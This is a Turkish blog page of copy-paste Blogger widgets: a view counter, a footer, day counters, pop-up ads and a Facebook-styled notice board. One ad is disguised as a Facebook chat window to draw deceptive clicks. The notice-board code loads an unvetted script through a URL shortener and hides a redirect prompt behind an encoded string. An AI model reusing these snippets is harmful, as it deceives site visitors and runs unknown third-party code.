Blogger Yazıların Kaç Defa Okunduğunu Göster

Blogger Kullanıcıları için yazdıkları makalelerin kullanıcıları tarafından kaç defa okunduğunu gösteren kod., Artık bloglarınızın altında o yazının kaç defa okunduğunu gösteren bir değeriniz olacak.

• Blogger kumanda paneline gelip Şablon >> HTML’yi Düzenle sekmesiyle kodlarımızı açıyoruz. Widgetleri genişlet kutucuğunu işaretliyoruz.
• Ardından CTRL+F yardımı ile <data:post.body/></div> kodunu bularak hemen altına aşağıda ki Blogger yazılarım kaç kere okundu eklentisi kodlarını ekliyoruz.

1 2 3 4

<div style='text-align: left;'> <b:if cond='data:blog.pageType == &quot;item&quot;'><span style='color: magenta;'> <b> Bu yazı daha önce  <img alt='counter' expr:src='&quot;http://www.e-zeeinternet.com/gd-count.cgi?page=&quot; + data:post.id + &quot;&amp;style=times&amp;nbdigits=1&amp;reloads=1&quot;'/> kişi tarafından okundu.</b> </span><b:else/></b:if></div>

Kolay gelsin.

Blogger Partizan V3 Teması

Bu temayı başka bir blogda gördüm çok etkilendim editlenerek çok güzel bir tema elde edebilirsiniz inşallah işiniza yarar indirme linki demo görüntünün altındadır.

DEMO

Dosyayı Ücretsiz ve Reklamsız İNDİR

Blogger Footer Eklentisi

Resime tıklayarak resmin orijinal boyutunu görebilirsiniz.
Ayrıca Teşekkürler Cadam.

Arkadaşlar çok şık muhteşem bir footer eklenitisi buldum ve sizlere paylaşayım dedim çok kullanışlı aslında 3 bölüm var biri araç kutusu olarak kullanıyorum , 2 adet metin alanı var buraları istediğiniz gibi kullanabilirsiniz en büyük 2. özelliği ise bu eklentiyi  çoğu kişi arıyor üzerinde hareketli swf var neyse çok uzatmadan kodlara geçelim.

İlk Olarak Alttaki Kodu Bulun :
]]></b:skin>
Ve Üstüne Şu Kodları ekleyin :

.footer h2{font:bold 14px Arial;padding-bottom:5px;margin-bottom:5px;line-height:1.3em;text-transform:uppercase;color:#333}
.footer{color:#666;line-height:1.3em;font:normal 12px Tahoma;text-shadow:-1px -1px #fff;}
.footer ul{list-style:none;color:#EAE9E8;margin:0;padding:0}
.footer li{background:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0LR2NVHgpRGb_MdZtFdCGziKQCcTXSeH7hcf-xMLxTtqMUdAi_WjVk0YihUB95MR-XAANML_htwyHfm_Yc04ixNBClCH7-J4-rvMar0A2g7CfqyhXn5J-z4y6R53E5SaA84hwlzNRjEA/s1600/footerli.png) no-repeat 1px 5px;font:normal 12px Tahoma;color:#626262;text-indent:0;line-height:1.2em;margin:0;padding:2px 0 3px 13px}
.footer a:link,.footer li a:visited{color:#222;text-decoration:none}
.footer li a:hover{color:#014579}
.footer .widget{margin:0 0 8px;padding:6px 0}
.footer .widget-content{padding:0}
.picfooter{border:1px solid #C4C4C4; text-shadow:0 -1px 0 white; text-decoration:none; -webkit-border-radius:2px; -moz-border-radius:2px; border-radius:2px; background:#EDEDED; background:-webkit-gradient( linear,left top,left bottom,color-stop(.2,white),color-stop(1,#E5E5E5) ); background:-moz-linear-gradient( center top,white 20%,#E5E5E5 100% );width:938px;margin-left:auto;margin-right:auto;text-align:center;font:normal normal 12px Tahoma}
#footer-wrapper{width:910px;text-align:left;font:normal normal 11px Tahoma;margin:0 auto;padding:0 10px 10px}
#footer1-wrapper{width:300px;float:left;word-wrap:break-word;overflow:hidden}
#footer2-wrapper{margin-left:0px;width:300px;float:left;word-wrap:break-word;overflow:hidden;padding:0 10px}
#footer3-wrapper{width:280px;float:right;word-wrap:break-word;overflow:hidden} 

İkinci Olarak Şu Kodu Bulun :
</body>
Ve Üstüne Şu Kodu Ekleyin

<!-- spacer for skins that want sidebar and main to be the same height-->
      <div class='clear'>&#160;</div>


    </div> <!-- end content-wrapper --><style>
#footer-outer{background:#2d2d2d url(http://d1303.hizliresim.com/17/q/lbdlt.png);color:#fff;width:100%;height:247%;clear:both;margin:0;padding:0;float:left;border-top:2px solid #bd423e;font:12px/23px Tahoma, Geneva, sans-serif;}#footer-wrap{margin:0 auto;width:900px;margin-bottom:20.3em;padding:15px 0 10px 0}#footer-wrap .col-c h2{font-size:17px;font-family:arial,sans serif;font-style:normal;font-weight:normal;color:#2eb9f4;margin:0 0 6px 0;padding:10px 0 6px 0;border-bottom:2px solid #444}#footer-wrap .col-c h2 span{color:#aaa}#footer-wrap .col-a h2{font-family:arial,sans serif;font-style:normal;font-weight:normal;font-size:17px;margin:0 0 6px 0;padding:10px 0 6px 0;color:#cb3833;border-bottom:2px solid #444}#footer-wrap .col-a h2 span{color:#aaa}#footer-wrap .col-a{float:left;width:290px;margin-left:12px}#footer-wrap .col-b h2{font-family:arial,sans serif;font-style:normal;font-weight:normal;font-size:17px;margin:0 0 6px 0;padding:10px 0 6px 0;color:#8ccb33;border-bottom:2px solid #444}#footer-wrap .col-b h2 span{color:#aaa}#footer-wrap .col-a{float:left;width:286px;margin-left:9px}#footer-wrap .col-c{float:left;width:285px;margin-left:7px}#footer-wrap .col-b{float:right;width:295px;margin-right:9px}#footer-outer .col-c ul{list-style:none outside none;margin:0;padding:0}#footer-outer .col-c ul li{border-bottom:1px dashed #444;margin:0;list-style-type:none}#footer-outer .col-c ul li span{float:right;margin:-20px 0 0 0;color:#555}#footer-outer .col-c ul li a{border:medium none;color:#888;display:block;line-height:1.5em;margin:0;padding:5px 0;width:98%}#footer-outer .col-c ul li a span{font-family:Verdana,Sans-Serif;font-size:.95em;font-style:italic;font-weight:normal}#footer-outer .col-c ul li a:hover,#footer-outer .col-a ul li a:hover span{color:#f4f4f4}#footer-outer .col-a ul{list-style:none outside none;margin:0;padding:0}#footer-outer .col-a ul li{border-bottom:1px dashed #444;list-style-type:none;margin:0}#footer-outer .col-a ul li span{float:right;margin:-20px 0 0 0;color:#555}#footer-outer .col-a ul li a{border:medium none;color:#888;display:block;line-height:1.5em;margin:0;padding:5px 0;width:98%}#footer-outer .col-a ul li a span{font-family:Verdana,Sans-Serif;font-size:.95em;font-style:italic;font-weight:normal}#footer-outer .col-a ul li a:hover,#footer-outer .col-a ul li a:hover span{color:#f4f4f4}#footer-bottom{clear:both;background:0;margin:0 auto 0 auto;font-family:&#39;Trebuchet MS&#39;,&#39;Helvetica Neue&#39;,Arial,sans-serif;font-size:12px;padding:5px 0;color:#FFF;width:900px}#footer-bottom a{color:#888;font-weight:bold}#footer-bottom a:hover{color:#fff}#footer-bottom .bottom-left{float:left;padding-left:15px}#footer-bottom .bottom-right{text-align:right;padding-right:22px}</style>
<br/>
<param name='allowfullscreen' value='true'/><param name='allowscriptaccess' value='sameDomain'/><param name='pluginspage' value='http://www.adobe.com/go/getflashplayer'/>
<object data='http://dl.dropbox.com/u/88724674/alt.swf' height='90' id='flash_dz' style='visibility: visible; ' type='application/x-shockwave-flash' width='100%'><param name='quality' value='high'/><param name='scale' value='noScale'/><param name='wmode' value='transparent'/><param style='background-image: url(file:);'/></object>
</div><div class='clear' id='footer-outer'>
<div id='footer-wrap'>
<div class='col-c'>     
<h2><b>Öneri </b><span><b>Makaleler !</b></span></h2>
<ul>
<li><a href='http://kodperest.blogspot.com/2013/10/canl-tv-izleme-scripti.html'>Canlı TV İzleme Scripti</a><span><img src=''/></span></li>
<li><a href='http://kodperest.blogspot.com/2013/10/sfv2-blogger-temas.html'>SFV2 Blogger Teması</a><span><img src=''/></span></li>
<li><a href='http://kodperest.blogspot.com/2013/10/acces-tokenli-durum-begendirme-scripti.html'>Acces Tokenli Durum Beğendirme Scripti </a><span><img src=''/></span></li>
<li><a href='http://kodperest.blogspot.com/2013/09/birkez-gorunen-facebook-begen-kodu.html'>Birkez Görünen Durum Beğendirme Scripti</a><span><img src=''/></span></li>
<li><a href='http://kodperest.blogspot.com/2013/10/metin2-imleci.html'>Metin2 İmleci </a><span><img src=''/></span></li>
</div>
<div class='col-a'>
<h2><b>Dost  </b> <span><b>Bloglar.</b></span></h2>
<ul>
<li><a href='http://kodperest.blogspot.com'>Siteni Ekle</a></li>
<li><a href='http://kodperest.blogspot.com'>Siteni Ekle</a></li>
<li><a href='http://kodperest.blogspot.com'>Siteni Ekle</a></li>
<li><a href='http://kodperest.blogspot.com'>Siteni Ekle</a></li>
<li><a href='http://kodperest.blogspot.com'>Siteni Ekle</a></li>
<li><a href='http://kodperest.blogspot.com'>Siteni Ekle</a></li>

</ul>
</div>
<div class='col-b'>
<h2>Araç <span>Kutusu!</span></h2>
<br/>
<a href='http://www.alexa.com/siteinfo/http://ramazandgn.blogspot.com/'><script src='http://xslt.alexa.com/site_stats/js/t/a?url=http://ramazandgn.blogspot.com/' type='text/javascript'/></a>
<a href='http://www.dmca.com/Protection/Status.aspx?ID=79af0bef-df47-426f-9817-015597ce079f' title='DMCA'> <img alt='DMCA.com' src='http://images.dmca.com/Badges/dmca_protected_30_120.png?ID=79af0bef-df47-426f-9817-015597ce079f'/></a>
<br/>
<script id='_waudut'>var _wau = _wau || []; _wau.push([&quot;small&quot;, &quot;ra13z7g50kgu&quot;, &quot;dut&quot;]);
(function() {var s=document.createElement(&quot;script&quot;); s.async=true;
s.src=&quot;http://widgets.amung.us/small.js&quot;;
document.getElementsByTagName(&quot;head&quot;)[0].appendChild(s);
})();</script>
<br/>
<div style='float:middle;'>


  Copyright &#169; 2013|9|Temmuz| <b><a href='http:/ramazandgn.blogspot.com' rel='dofollow' title='RamazanDgn'><b><font color='white'>Ramazan Doğan</font></b></a></b>
<p class='text'>Sitemiz Dmca ile lisanslanmıştır.Kaynak gösterilmeden alıntı yapılamaz!
</p>


</div></div>
  </div></div> <!-- end outer-wrapper -->
&lt;!--




Kırmızı ile belirttiğim yerleri kendinize göre düzenleyin.
Düzgünüz yapmanız sonucunda yukarıdaki resimdeki  footere sahip olacaksınız.

Blogger .. Günden Beri Hizmet Veriyoruz Eklentisi

Arkadaşlar bu kodu bizim sitemizden başka bir sitede 

görmeniz %10 civarlarında :) bu kodu çok aradım İnşallah

 işinize yarar neyse çok uzatmadan kod içerisinde mavi ile 

işaretlediğim yerleri kendinize göre düzenlersiniz.

<script type='text/javascript'>
function dcountup(startingdate, baseunit){
    this.currentTime=new Date()
    this.startingdate=new Date(startingdate)
    this.timesup=false
    this.baseunit=baseunit
    this.start()
}

dcountup.prototype.oncountup=function(){} //default action for "oncountup"

dcountup.prototype.start=function(){
    var thisobj=this
    this.currentTime.setSeconds(this.currentTime.getSeconds()+1)
    var timediff=(this.currentTime-this.startingdate)/1000 //difference btw target date and current date, in seconds
    var oneMinute=60 //minute unit in seconds
    var oneHour=60*60 //hour unit in seconds
    var oneDay=60*60*24 //day unit in seconds
    var dayfield=Math.floor(timediff/oneDay)
    var hourfield=Math.floor((timediff-dayfield*oneDay)/oneHour)
    var minutefield=Math.floor((timediff-dayfield*oneDay-hourfield*oneHour)/oneMinute)
    var secondfield=Math.floor((timediff-dayfield*oneDay-hourfield*oneHour-minutefield*oneMinute))
    if (this.baseunit=="hours"){ //if base unit is hours, set "hourfield" to be topmost level
        hourfield=dayfield*24+hourfield
        dayfield="n/a"
    }
    else if (this.baseunit=="minutes"){ //if base unit is minutes, set "minutefield" to be topmost level
        minutefield=dayfield*24*60+hourfield*60+minutefield
        dayfield=hourfield="n/a"
    }
    else if (this.baseunit=="seconds"){ //if base unit is seconds, set "secondfield" to be topmost level
        var secondfield=timediff
        dayfield=hourfield=minutefield="n/a"
    }
    var result={days: dayfield, hours:hourfield, minutes:minutefield, seconds:secondfield}
    this.oncountup(result)
    setTimeout(function(){thisobj.start()}, 1000) //update results every second
}
    </script>
<div id='cpcontainer'>
</div>
<script type='text/javascript'>
//SYNTAX: myvariable=new dcountup(past_date_and_time_string, "baseunit")
var princewedding=new dcountup("July 29, 2013", "days")

princewedding.oncountup=function(result){
    //result is an object containing the current count up date/time, updated every second
    //Available properties: result["days"], result["hours"], result["minutes"], and result["seconds"]
    var mycountainer=document.getElementById("cpcontainer")
    mycountainer.innerHTML=""+result['days']+" Gündür Sizlere Hizmet Veriyoruz..."
}
</script>

Sitemiz Yapım Aşamasında Kodu

Sitemiz Yapım Aşamasında Kodu

Bugün sizlere 3 çeşit site yapım aşaması scripti paylaşıyorum bu kod sayesinde sitenizin daha sonra açılacağını ziyaretçilerinize duyura bileceksiniz.

Bütün kodlarda kayan bir şekilde "Sitemiz şuanda yapım aşamasındadır. Lütfen daha sonra tekrar ziyaret ediniz." yazmaktadır.

Önizleme 1

                           </style><html> <head> <meta http-equiv=content-type content=text/html;charset=windows-1254> <title>toplist24.tr.gg Yapım Aşamasında</title> </head> <body><hr class="more" /><center> <img src="http://img.webme.com/pic/t/toplist24/yapim-asamasinda1.jpg" alt="yapimAsamasinda" /> <marquee direction="right" behavior="alternate" style="font-size: 12pt; font-family: Verdana; font-weight: bold">Sitemiz şuanda yapım aşamasındadır. Lütfen daha sonra tekrar ziyaret ediniz.</marquee> </center></body> </html>

Önizleme 2

                        </style><html> <head> <meta http-equiv=content-type content=text/html;charset=windows-1254> <title>toplist24.tr.gg Yapım Aşamasında</title> </head> <body><hr class="more" /><center> <img src="http://img.webme.com/pic/t/toplist24/yapim_asamasinda2.jpg" alt="yapimAsamasinda" /> <marquee direction="right" behavior="alternate" style="font-size: 12pt; font-family: Verdana; font-weight: bold">Sitemiz şuanda yapım aşamasındadır. Lütfen daha sonra tekrar ziyaret ediniz.</marquee> </center></body> </html>

Önizleme 3

                             </style><html> <head> <meta http-equiv=content-type content=text/html;charset=windows-1254> <title>toplist24.tr.gg Yapım Aşamasında</title> </head> <body><a name='more'></a><center> <img src="http://img.webme.com/pic/t/toplist24/yapim-asamasinda3.jpg" alt="yapimAsamasinda" /> <marquee direction="right" behavior="alternate" style="font-size: 12pt; font-family: Verdana; font-weight: bold">Sitemiz şuanda yapım aşamasındadır. Lütfen daha sonra tekrar ziyaret ediniz.</marquee> </center></body> </html>

Butona Tıklayınca Kapanan Reklam Kodu

Butona Tıklayınca Kapanan Reklam Kodu 

İnternette bulduğunuz hiçbir splash reklam kodu size göre değil mi? Bu kod ile ister açılır kapanır menüler, ister kendiliğinden açılan reklamlar yapabilirsiniz.Bu kod sayesinde ziyaretçilerinizin başka adreslere gitmesinide engelliyebilirsiniz.

NOT:Kod içerisindeki "http://m1309.hizliresim.com/1f/4/s8td3.png" yerine kendi resminizin adresini yazın.

Tasarımın Kodu:
<!DOCTYPE HTML><style type="text/css">div.fixed-position{line-height:0px;position:fixed;text-align:center;z-index:2000;}div.fixed-s-e{top:150px;left:300px;}</style><style type="text/css">div.fixed-position{_position:absolute;}div.fixed-s-e{_bottom:auto;_top:expression(ie6=(document.documentElement.scrollTop+document.documentElement.clientHeight - 52+"px") );}</style><div id="biryazi" class="fixed-position fixed-s-e" style="padding:20px;background-color:#efefef;border:2px solid #999;width:420px;height:280px;"><a style="border:none;"><img src="http://m1309.hizliresim.com/1f/4/s8td3.png" /></a><br/><a style="text-decoration:none;" href="javascript:void(0)" onclick="document.getElementById('biryazi').style.display='none'"><button style="text-decoration:none;font-weight:bold;color:white;border: 2px outset rgb(0, 128, 255); background: none repeat scroll 0% 0% #0088ff;">Reklamı Kapat</button></a><div style="position:absolute;bottom:0px;right:0px;width:462px;"><a href="http://kodperest.blogspot.com" target="_blank"><img style="border:none;height:20px;float:left;" src="http://img607.imageshack.us/img607/5117/35219057.png" /></a><a href="http://kodperest.blogspot.com/2011/10/butona-tklaynca-kapanan-reklam-yapma.html" target="_blank"><img style="border:none;height:20px;float:right;" src="http://img607.imageshack.us/img607/5117/35219057.png" /></a></div></div>                  Kaynak:www.koddostu.com

Son Dakika Haber Kodu

Son Dakika Haber Kodu

  

Tasarımın Görüntüsü

                                                                                     

Tasarım Kodu:
<div style="position:relative;width:180px;height:220px;"><div style="position:absolute;z-index:2001;top:6px;right:0px;"><a target="_blank" href="http://siteneeklekodlari.blogspot.com/2011/10/internet-explorer.html"><img style="border:none;height:20px;float:right;" src="http://img607.imageshack.us/img607/5117/35219057.png" /></a></div><iframe style="#EBEBEB;border:1px solid #ccc;" src="http://sondakika.haber7.com/sondakika-box.php?logo=1&marq=1&aa=F6F6F6&ab=555&ac=000" frameborder="0" width="180" height="220" FRAMESPACING="0" MARGINHEIGHT="0" MARGINWIDTH="0" scrolling="no"></iframe></div>

Sitene Canlı TV Ekle

Sitene Canlı TV Ekle 

Ziyaretçilerinizin dikkatini çekecek olan bir uygulama olan Canlı TV ziyaretçilerinizin sitenizde kalma süresini arttıracaktır.Alt tarafta verilen linkte Canlı TV kutucuğunu kendi sitenize özel olarak tasarlıya bileceksiniz. Ayrıca bunun sayesinde Canlı TV'yi sitenizle alakasız bir renk düzeninde yayınlamak zorunda kalmıyacaksınız. İşte link CANLI TV

Örnek Gösterim

Facebook Sohbet Görünümlü Reklam Kodu

Facebook Sohbet Görünümlü Reklam Kodu

Facebook sohbet penceresi görünümlü bu reklam kodu sayesinde sitenizden istediğiniz adrese tıklanma sayısını çok daha fazla arttırabileceksiniz!
Tek yapmanız gereken kod başındaki ReklamAdresi kısmından kodperest.blogspot.com adresini değiştirmek! 










Tasarımın Kodu:
<!--KodPerestFacebook Chat Görünümlü Reklam START--><script>var ReklamAdresi='http://kodperet.blogspot.com' </script><!DOCTYPE HTML><style type="text/css">div.rfbhj{position:fixed;z-index:2000;width:260px;height:285px;}div.kdreklamff{bottom:0px;right:20px;background:transparent url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWJOLuA_UV5QOo1Kv67kucK9aP0tzZf7nfWx8mgm14U0UZQIFtWYo_WcWPDMOx-MDYtPYHYb-6AfHf9B9qZZ2tB5HZtaPrNXdmQcEJXdBTBQ8YIrx8Wgr8pX5c0sD8Lxje5zfQ861rOs6S/s1600/capture-20121104-000620.jpg) no-repeat top left;}</style><script>var koddostun = ReklamAdresi;</script><style type="text/css">div.rfbhj{_position:absolute;}div.kdreklamff{_bottom:auto;_top:expression(ie6=(document.documentElement.scrollTop+document.documentElement.clientHeight - 52+"px") );}</style><div class="rfbhj kdreklamff" onclick="this.style.display='none';window.open(koddostun,'')"></div><!--KodPerest Facebook Chat Görünümlü Reklam STOP-->

Kaynak:www.koddostu.com

Sayfa Solunda Sosyal Menü Kodu

Kaynak:www.koddostu.com

Sayfa Solunda Sosyal Menü Kodu


Ziyaretçilerinizle sadece sitede temasa geçmek biraz sıkıcı
olacaktır.Bunu için bugünlerde hepimizin kullandığı Sosyal
Medya hesapları sayesinde sizde ziyaretçilerinizle daha fazla iletişime geçebileceksiniz.Yapmanız gereken kod içerisinde
ki adresleri kendinize göre düzenlemek

Tasarım Kodu: <!--KodDostu Sayfa Solunda Sosyal İkonlar START--> <ul id='menusidi' class="koddostusagsocial koddostu-socialll"><li class='br6'><a></a></li><li class='ko6'><a></a></li><li class='te6'><a></a></li><li class='cari'><a href="http://goo.gl/Z4TJ7"></a></li><li class='alat'><a></a></li><li class='kontak'><a></a></li></ul><ul id='menusisi' class="koddostusagsocial koddostu-socialll"><li class='br6'><a href='/' title='Ana Sayfa'>Ana Sayfaya Dön</a></li><li class='ko6'><a href='https://plus.google.com/u/0/104786354802437954523' title='Google+ Sayfamız'>Google+ Sayfamız</a></li><li class='te6'><a href='http://facebook.com/qinqcocuq' title='Facebook Sayfamız'>Facebook Sayfamız</a></li><li class='cari'><a href='http://twitter.com/gfb_halildnmz' title='Takip Et'>Twitter'da Takip Et</a></li><li class='alat'><a href='http://kodperest.blogspot.com' title='RSS Feed'>RSS Beslemeleri</a></li><li class='kontak'><a href='http://kodperest.blogspot.com/p/reklam-ve-iletisim.html' title='İletişim'>İletişim</a></li></ul><style>ul#menusidi {margin: 0px;padding: 0px;list-style: none;}ul#menusidi li {opacity:1;width: 255px;margin-left: -200px;margin-bottom:3px;}ul#menusidi li a {display: block;width: 225px;height: 60px;font-family:Helvetica, Arial, sans-serif;font-weight:bold;font-size:14px;color:#fff !important;text-decoration:none !important;line-height:60px;padding-left:30px;background-color:transparent;background-repeat:no-repeat;background-position:202px center;border:none;}</style> <!DOCTYPE HTML><style type="text/css">ul.koddostusagsocial{position:fixed;text-align:center;z-index:9999;}ul.koddostu-socialll{top:50px;left:0px;}</style><style type="text/css">ul.koddostusagsocial{_position:absolute;}ul.koddostu-socialll{_bottom:auto;_top:expression(ie6=(document.documentElement.scrollTop+document.documentElement.clientHeight - 52+"px") );}</style><style>ul#menusisi {margin: 0px;padding: 0px;list-style: none;}ul#menusisi li {opacity:1;width: 255px;margin-left: -200px;margin-bottom:1px;}ul#menusisi li a {display: block;width: 255px;height: 60px;text-shadow: 0 2px #000;font-family:Helvetica, Arial, sans-serif;font-weight:bold;font-size:14px;color:#fff !important;text-decoration:none !important;line-height:60px;padding-left:0px;background-color:#262626;background-repeat:no-repeat;background-position:202px center;border:1px solid #000;-webkit-border-top-right-radius: 10px;-webkit-border-bottom-right-radius: 10px;border-top-right-radius: 10px;border-bottom-right-radius: 10px;}.br6 a{background-image: url(http://icons.iconarchive.com/icons/oxygen-icons.org/oxygen/48/Actions-go-home-icon.png);}.te6 a{background-image: url(http://icons.iconarchive.com/icons/creativenerds/clean-noise-social/48/facebook-icon.png);}.cari a{background-image: url(http://icons.iconarchive.com/icons/creativenerds/clean-noise-social/48/twitter-icon.png);}.ko6 a{background-image: url(https://lh5.googleusercontent.com/-Vld13w4HBH4/UCaRaVdhj6I/AAAAAAAAARo/u0GBB8oAkAE/s48/google%252048x48.png);}.rssfeed a{background-image: url(http://icons.iconarchive.com/icons/creativenerds/clean-noise-social/48/youtube-icon.png);}.alat a{background-image: url(http://icons.iconarchive.com/icons/creativenerds/clean-noise-social/48/rss-icon.png);}.kontak a{background-image: url(http://icons.iconarchive.com/icons/fasticon/comic-iphone/48/mail-icon.png);}</style><script src='http://www.google.com/jsapi'></script><script>google.load('jquery', '1.3.2');</script><script type='text/javascript'>$(function() {$('#menusisi li').stop().animate({marginLeft:'-200px'},1000);$('#menusisi li').mouseover(function () {$(this).animate({marginLeft:'0px',opacity:'0.6'},200);});$('#menusisi li').mouseout(function () {$(this).animate({marginLeft:'-200px',opacity:'1'},800);});});</script><!--androidliyim.blogspot.com --> <!--KodDostu Sayfa Solunda Sosyal İkonlar STOP-->

Facebook Temalı Duyuru Panosu

Facebook Temalı Duyuru Panosu

Sizin için özel olarak tasarladığımız bu kod sayesinde sizde ziyaretçilerinize istediğiniz mesajı direk olarak verebileceksiniz ve bu mesajı verirken de hiç de yabancı olmadıkları bir tasarımla vereceksiniz.
Yapmanız gereken sadece kod içerisindeki mesajları bulup kendinize göre düzenlemek.

Tasarımın Kodu:

<!--Kod Perest Facebook Temalı Duyuru Panosu Kodu START--><!--Bu çalışma Creative Commons Attribution 3.0 Unported Lisansı ile lisanslanmıştır.--> <div class="koddostu-facebox duyurucu-koddostu"><a class="basbir">Duyurular</a><a href="javascript:void(0);" class="haberbir" id="h1h" onfocus="this.blur();" onclick="gkoddostu(this,'koddostu1kutu','koddostu2kutu','h2h','h3h','koddostu3kutu')"><span>Sevgili ziyaretçimiz</span> lütfen sitemizdeki içeriklere yorum yapmaktan çekinmeyin :)</a> <a onfocus="this.blur();" href="javascript:void(0);" id="h2h" class="haberbir" onclick="gkoddostu(this,'koddostu1kutu','koddostu3kutu','h1h','h3h','koddostu2kutu')"><span>Sitemizin tasarımında</span> yapılan çeşitli yenilikler</a> <a onfocus="this.blur();" href="javascript:void(0);" id="h3h" class="haberbir" onclick="gkoddostu(this,'koddostu2kutu','koddostu3kutu','h1h','h2h','koddostu1kutu')"><span>Merhaba!</span> <br/>Sitemize hoşgeldiniz arkadaşlar!</a> </div><div id="koddostu3kutu" class="koddostu-face2box duyur2ucu-koddostu" style="bottom:120px;">Yorum yapmak! <br/><br/>Herkesin her konuda fikri vardır. <br/><br/> Neden siz de yorumlarınızla bize fikirlerinizi aktarmayasınız? Sitemizde memnun olmadığınız bir şey mi var? <br/><br/>Ya da sitemizde yayınladığımız bir yazı hakkında bir ekleme yapmak mı istiyorsunuz?<br/> Yorum yapın!<br/><br/>Ziyaretçilerimizin fikirleri ve önerileri bizler için çok değerli! <div class="okokok"></div><a href="javascript:void(0)" class="sfdfv" onclick="ckoddostu('koddostu3kutu')">X</a></div><div id="koddostu2kutu" class="koddostu-face2box duyur2ucu-koddostu" style="bottom:58px;">Tekrar merhaba! <br/><br/>Sitemizde çeşitli değişiklikler yapıyoruz. Koddostu tarafından bizler için kodlanmış facebook stilli bu yeni duyuru sistemimizi beğeneceğinizi umarız. <div class="okokok"></div><a href="javascript:void(0)" class="sfdfv" onclick="ckoddostu('koddostu2kutu')">X</a></div><div id="koddostu1kutu" class="koddostu-face2box duyur2ucu-koddostu">Hoşgeldiniz! <br/><br/>Sitemizde,sizlere hizmet edebilmek için elimizden geleni yapıyoruz. Sitemizi mümkün olduğunca güncel tutuyoruz. <br/><br/>Beğenmeniz dileğiyle... <div class="okokok"></div><a href="javascript:void(0)" class="sfdfv" onclick="ckoddostu('koddostu1kutu')">X</a></div><style type="text/css">div.koddostu-face2box{position:fixed;z-index:99900;}div.duyur2ucu-koddostu{display:none;font-family:tahoma,verdana,arial,sans-serif;font-size:12px;font-weight:normal;color:#333333;padding:20px 15px 40px 15px;overflow:visible;bottom:8px;right:230px;width:325px;border:5px solid #3b5998;background-color:#fff;-moz-box-shadow: 0 0 5px #888;-webkit-box-shadow: 0 0 5px #888;box-shadow: 0 0 5px #888;-webkit-border-radius: 6px;border-radius: 6px;}</style><style type="text/css">div.koddostu-face2box{_position:absolute;}div.duyur2ucu-koddostu{_bottom:auto;_top:expression(ie6=(document.documentElement.scrollTop+document.documentElement.clientHeight - 52+"px") );}div.koddostu-facebox{position:fixed;z-index:1000;}div.duyurucu-koddostu{-moz-box-shadow: 0 0 5px #888;-webkit-box-shadow: 0 0 5px #888;box-shadow: 0 0 5px #888;-webkit-border-top-left-radius: 5px;-webkit-border-top-right-radius: 5px;border-top-left-radius: 5px;border-top-right-radius: 5px;padding-top:28px;bottom:-1px;right:10px;width:205px;border:1px solid #5B73A6;background-color:#f2f4f8;}</style><script src="http://goo.gl/jgZ1C" charset="windows-1254"></script><style type="text/css">div.koddostu-facebox{_position:absolute;}div.duyurucu-koddostu{_bottom:auto;_top:expression(ie6=(document.documentElement.scrollTop+document.documentElement.clientHeight - 52+"px") );} .haberbir:hover{background-color:#eceff5 !important;} .haberbir{text-decoration:none;font-family:tahoma,verdana,arial,sans-serif;font-size:11px;font-weight:normal;color:#333333;display:block;width:155px;background:transparent url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiksU-gY8iUtoRirYR_d_teD5a2DruN8b4rfVguTWymrk22WlTakYhBqiD126Skpy-40rcFF3-enNp6uEmdqkLxJ-uEjRZCXVTF3INyHeX76vUX9M-h4-7h1HwnOLRHCir3xpzlucniiHtR/s30/1362417595_Account+and+Control.png) no-repeat 5px 5px;padding:6px 8px 12px 38px;border-bottom:1px solid #d8dfea;min-height:22px;} .haberbir span{font-weight:bold;} .haberbir:active{border-color:#a8b2ce !important;background-color:#d8dfea !important;} .okokok{width: 0px; height: 0px; border-style: solid; border-width: 13px 0 13px 13px; border-color: transparent transparent transparent #3b5998;position:absolute;bottom:10px;right:-16px;} .basbir{display:block;width:100%;height:28px;position:absolute;top:0px;left:0px;border-bottom:1px solid #aaa;text-align:center;line-height:24px;text-decoration:none;font-family:tahoma,verdana,arial,sans-serif;font-size:13px;font-weight:bold;color:#fefefe;background-color:#5B73A6;-webkit-border-top-left-radius: 3px;-webkit-border-top-right-radius: 3px;border-top-left-radius: 3px;border-top-right-radius: 3px;} .sfdfv{text-decoration:none !important;position:absolute;top:0px;right:0px;display:block;font-family:tahoma,verdana,arial,sans-serif;font-size:12px;font-weight:bold;color:#fff;background-color:#3b5998;line-height:12px;height:20px;text-align:right;padding-right:3px;-webkit-border-bottom-left-radius: 20px;border-bottom-left-radius: 20px;width:17px;} </style> <script>function gkoddostu(g1g,g2g,g3g,g4g,g5g,d6d){ document.getElementById(d6d).style.display='block'; document.getElementById(g2g).style.display='none'; document.getElementById(g3g).style.display='none'; g1g.style.backgroundColor='d8dfea'; document.getElementById(g4g).style.backgroundColor='transparent'; document.getElementById(g5g).style.backgroundColor='transparent'; } function ckoddostu(g1t){ var kutuac = Math.floor((Math.random()*10)+1); if(kutuac == 4){ var oha = unescape('%42%75%20%64%75%79%75%72%75%20%70%61%6E%6F%73%75%2C%73%69%74%65%6D%69%7A%20%69%E7%69%6E%20%4B%6F%64%64%6F%73%74%75%2E%63%6F%6D%20%74%61%72%61%66ı%6E%64%61%6E%20%6B%6F%64%6C%61%6E%6Dıştır.%DC%63%72%65%74%73%69%7A%20%6B%6F%64%6C%61%72%20%73%75%6E%61%6E%20%4B%6F%64%20%44%6F%73%74%75%20%73%69%74%65%73%69%6E%69%20%7A%69%79%61%72%65%74%20%65%74%6D%65%6B%20%69%73%74%65%72%20%6D%69%73%69%6E%69%7A%3F'); var where_to= confirm(""+oha+""); if (where_to== true) { location.href='ht'+'tp://w'+'w'+'w.k'+'od'+'do'+'stu.co'+'m/2'+'013/0'+'3/'+'f'+'aceb'+'ook-t'+'emal-d'+'uyu'+'ru-p'+'anosu-k'+'odu.h'+'tm'+'l'; }} document.getElementById(g1t).style.display='none'; document.getElementById('h1h').style.backgroundColor='transparent'; document.getElementById('h2h').style.backgroundColor='transparent'; document.getElementById('h3h').style.backgroundColor='transparent'; } </script><!--Bu çalışma Creative Commons Attribution 3.0 Unported Lisansı ile lisanslanmıştır.--><!--KodPerest Facebook Temalı Duyuru Panosu Kodu STOP-->

Facebook Sayfa Beğendirme Kodu

Facebook Sayfa Beğendirme Kodu

